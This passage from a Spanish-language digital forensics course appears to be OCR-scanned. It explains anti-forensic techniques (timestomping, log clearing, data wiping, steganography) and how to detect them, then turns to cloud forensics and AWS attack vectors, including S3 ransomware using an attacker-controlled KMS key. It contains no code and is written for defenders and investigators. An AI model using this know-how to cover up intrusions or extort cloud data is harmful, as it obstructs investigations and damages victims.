hasta que el programa se desempaqueta y se ejecuta en memoria.
Sobrescritura de Datos (Data Wiping/Shredding): Utilizacion de herramientas
como SDelete o Eraser para sobrescribir archivos (o espacio libre en disco) con
datos aleatorios, haciendo que la recuperacion de los datos originales sea
imposible.

Timestomping: Modificacion de los metadatos de un archivo, especificamente sus
marcas de tiempo (Creacion, Modificacion, Acceso), para hacerlo parecer mas
antiguo o mas reciente de lo que es. Esto puede hacer que un analista pase por
alto un archivo malicioso si esta filtrando por un rango de tiempo especifico.
Limpieza de Logs: Los atacantes a menudo eliminan o modifican los logs de
eventos (como los logs de seguridad de Windows o los logs de bash_history en
Linux) para borrar las huellas de su actividad.

Esteganografia: El arte de ocultar datos dentro de otros archivos de apariencia
inocente, como imagenes, archivos de audio o video. El dato oculto se incrusta en
los bits menos significativos del archivo portador, lo que lo hace visual o
auditivamente indetectable.

Estrategias de Deteccion:

0

Deteccion de Packers: El analisis de memoria con herramientas como Volatility es
clave, ya que el malware debe desempaquetarse en memoria para poder
ejecutarse. malfind puede detectar estas secciones de memoria desempaquetadas.
Deteccion de Timestomping: Los analistas deben buscar inconsistencias. Por
ejemplo, en un sistema de archivos NTFS, la marca de tiempo de creacién de un
archivo en el atributo $SSTANDARD_INFORMATION puede ser modificada, pero la
marca de tiempo en el atributo $FILE_ NAME es mucho mas dificil de alterar. Una
discrepancia entre estas dos es un fuerte indicador de timestomping.
Deteccion de Esteganografia: Kali Linux incluye herramientas especificas para
esto:
1 steghide: Puede extraer informacién de archivos si se conoce la contrasefa.
1 stegcracker: Una herramienta de fuerza bruta que intenta adivinar la
contrasefia de steghide utilizando una lista de palabras.
1 zsteg: Detecta varios métodos de esteganografia en imagenes PNG y BMP.
1 Analisis Estadistico: Herramientas como stegoVeritas realizan analisis
estadisticos en imagenes para detectar anomalias en la distribucion de
pixeles que podrian indicar datos ocultos.

El conocimiento de estas técnicas anti-forenses es vital para que un investigador no sea
engafado y sepa qué artefactos buscar cuando la evidencia parece haber "desaparecido”.

Seccion 14: Forensia en la Nube (Cloud Forensics)

La migracién masiva de infraestructuras y datos a la nube ha creado un nuevo y complejo
campo para la investigacion forense. La forensia en la nube se ocupa de la investigacion de
incidentes en entornos como Amazon Web Services (AWS), Microsoft Azure y Google Cloud
Platform (GCP). Aunque los objetivos son los mismos que en la forensia tradicional (identificar,
preservar, analizar y reportar), los métodos y desafios son radicalmente diferentes.



Diferencias Clave: Forensia Tradicional vs. en la Nube

La principal diferencia radica en la abstraccion y la falta de acceso fisico. En la forensia
tradicional, un investigador puede confiscar un disco duro fisico y crear una imagen bit a bit. En
la nube, esto es imposible. La evidencia reside en una infraestructura virtualizada, distribuida y
compartida (multitenant) que es propiedad y esta gestionada por un proveedor de servicios en
la nube (CSP).

Las diferencias clave incluyen:

Acceso a la Evidencia: En la nube, el acceso a la evidencia esta mediado por las APls
del CSP. No se puede simplemente "sacar el disco". La adquisicion de datos depende de
las herramientas y permisos que el proveedor ofrece, como la creacién de "snapshots” de
volumenes de disco o la exportacion de logs.

Volatilidad y Naturaleza Efimera: Los recursos en la nube son, por disefio, efimeros.
Las maquinas virtuales pueden ser terminadas, los contenedores pueden existir solo por
segundos y el almacenamiento temporal puede desaparecer, borrando con ellos
evidencia crucial si no se captura de inmediato. Esto hace que la velocidad de respuesta
sea aun mas critica que en entornos on-premise.

Jurisdiccion y Propiedad de los Datos: Los datos pueden estar distribuidos
geograficamente en multiples centros de datos en diferentes paises, lo que crea
complejos desafios legales y de jurisdiccion. El modelo de responsabilidad compartida
significa que el CSP es responsable de la seguridad de la nube, mientras que el cliente
es responsable de la seguridad en la nube.

Dependencia de los Logs: Dado que el acceso a bajo nivel es limitado, los logs
generados por el CSP (como AWS CloudTrail, VPC Flow Logs) se convierten en la fuente
de evidencia mas importante. Un analisis forense en la nube a menudo comienza y se
centra en el andlisis de logs, aunque no debe limitarse a ello.

Vectores de Ataque y Herramientas de Deteccion en AWS

Amazon Web Services (AWS), como el mayor proveedor de nube, es un objetivo frecuente.
Comprender sus vectores de ataque comunes y las herramientas de seguridad nativas es
esencial para el Blue Team y los analistas forenses.

Vectores de Ataque Comunes en AWS:

o Credenciales Comprometidas: La exposicién de claves de acceso estaticas
(Access Key ID y Secret Access Key) es una de las causas raiz mas comunes de
brechas en la nube. Si estas claves se codifican en el codigo fuente y se suben a
un repositorio publico de GitHub, los bots de los atacantes pueden encontrarlas y
usarlas en cuestién de minutos.

o Roles de IAM con Permisos Excesivos: El principio de menor privilegio es critico
en la nube. Un rol de IAM (ldentity and Access Management) con permisos
demasiado amplios (por ejemplo, *:*) puede permitir a un atacante que
comprometa un solo recurso moverse lateralmente y afectar a toda la cuenta de
AWS.

o Buckets de S3 Publicos: Una mala configuracion clasica es dejar un bucket de
Amazon S3 (Simple Storage Service) accesible publicamente. Esto puede exponer
gigabytes de datos sensibles a cualquiera en Internet.

o Ransomware en S3: Un vector de ataque mas sofisticado implica que un atacante,
después de obtener credenciales validas, no roba los datos, sino que los



"secuestra" en su lugar. Utilizando las propias APIs de AWS, el atacante puede
re-cifrar todos los objetos de un bucket S3 utilizando una clave de cifrado de AWS
KMS (Key Management Service) que él controla
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